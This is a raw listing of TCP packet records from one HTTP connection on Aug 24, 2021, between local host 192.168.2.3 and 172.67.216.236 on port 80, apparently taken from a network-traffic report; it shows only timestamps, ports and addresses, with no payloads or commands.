Aug 24, 2021 14:01:50.835201025 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.835210085 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.835227966 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.835238934 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.835256100 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.835278034 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.835300922 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.835311890 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.835330009 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.835352898 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.835361004 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.835377932 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.835381031 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.835405111 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.835410118 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.835437059 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.835454941 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.835464954 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.835469007 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.835480928 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.835494041 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.835498095 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.835515022 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.835530996 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.835537910 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.835547924 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.835566044 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.835572958 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.835582972 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.835602045 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.835603952 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.835621119 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.835638046 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.835640907 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.835654974 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.835673094 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.835683107 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.835690022 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.835706949 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.835715055 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.835724115 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.835743904 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.835743904 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.835762978 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.835769892 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.835781097 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.835797071 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.835809946 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.835814953 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.835832119 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.835849047 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.835851908 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.835865974 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.835885048 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.835886002 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.835903883 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.835912943 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.835921049 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.835937977 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.835942030 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.835957050 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.835971117 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.835972071 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.835989952 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.836005926 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.836008072 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.836025000 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.836042881 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.836055994 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.836059093 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.836076021 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.836082935 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.836092949 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.836110115 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.836127043 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.836127996 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.836143970 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.836153030 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.836163998 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.836182117 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.836198092 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.836203098 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.836215019 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.836229086 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.836231947 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.836250067 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.836266041 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.836271048 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.836283922 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.836294889 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.836304903 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.836323023 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.836327076 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.836340904 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.836349964 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.836354017 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.836368084 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.836380959 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.836397886 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.836400986 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.836417913 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.836450100 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.836457014 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.836464882 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.836481094 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.836497068 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.836505890 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.836513042 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.836529016 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.836536884 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.836544991 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.836564064 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.836565018 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.836581945 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.836597919 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.836601973 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.836615086 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.836632013 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.836644888 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.836647034 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.836662054 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.836673021 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.836699963 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.843017101 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.843590975 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.853713989 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.853740931 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.853754997 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.853777885 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.853794098 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.853806019 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.853812933 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.853841066 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.853864908 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.853866100 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.853883028 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.853894949 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.853910923 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.853935003 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.853941917 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.853972912 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.853972912 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.854001045 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.854024887 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.854028940 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.854052067 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.854068041 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.854083061 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.854085922 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.854104042 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.854119062 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.854120016 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.854146004 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.854156017 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.854162931 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.854180098 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.854202986 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.854211092 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.854232073 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.854235888 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.854252100 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.854279041 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.854295015 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.854311943 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.854319096 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.854327917 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.854342937 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.854384899 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.854398966 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.854410887 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.854428053 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.854458094 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.854484081 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.854487896 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.854511023 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.854538918 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.854566097 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.854593039 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.854594946 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.854619026 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.854646921 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.854666948 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.854691982 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.854698896 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.854720116 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.854751110 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.854785919 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.854811907 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.854823112 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.854852915 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.854880095 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.854904890 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.854907990 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.854929924 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.854935884 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.854955912 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.854981899 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.854999065 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.855007887 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.855015993 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.855032921 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.855057955 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.855076075 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.855084896 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.855103016 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.855132103 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.855160952 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.855186939 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.855210066 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.855220079 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.855252028 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.855271101 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.855278969 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.855304956 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.855331898 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.855348110 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.855349064 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.855365038 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.855397940 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.855422974 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.855422974 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.855448008 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.855474949 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.855475903 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.855500937 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.855520964 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.855525970 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.855544090 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.855556965 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.855568886 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.855595112 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.855597973 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.855622053 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.855649948 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.855668068 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.855679035 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.855688095 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.855705976 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.855722904 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.855740070 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.855746984 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.855756998 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.855773926 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.855791092 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.855794907 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.855822086 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.855840921 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.855846882 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.855874062 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.855901003 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.855915070 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.855927944 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.855958939 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.855971098 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.855986118 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.856007099 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.856017113 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.856041908 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.856069088 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.856096983 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.856108904 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.856127024 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.856146097 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.856163979 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.856182098 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.856199980 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.856216908 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.856224060 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.856235027 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.856255054 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.856275082 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.856280088 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.856293917 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.856311083 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.856328011 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.856345892 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.856362104 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.856374025 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.856379986 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.856396914 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.856417894 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.856420994 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.856436014 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.856452942 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.856470108 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.856487036 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.856503963 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.856522083 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.856522083 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.856540918 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.856561899 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.856565952 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.856580019 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.856597900 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.856605053 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.856615067 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.856632948 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.856636047 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.856648922 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.856666088 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.856673002 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.856683016 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.856703043 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.856705904 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.856719971 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.856735945 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.856745005 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.856754065 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.856770039 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.856786013 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.856803894 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.856818914 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.856875896 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.857639074 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.859664917 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.859703064 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.859721899 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.859745026 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.859775066 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.859802961 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.859832048 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.859832048 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.859844923 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.859864950 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.859889984 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.859910965 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.859915018 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.859940052 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.859966040 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.859966040 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.859992027 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.860018015 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.860028982 CEST	49724	80	192.168.2.3	172.67.216.236
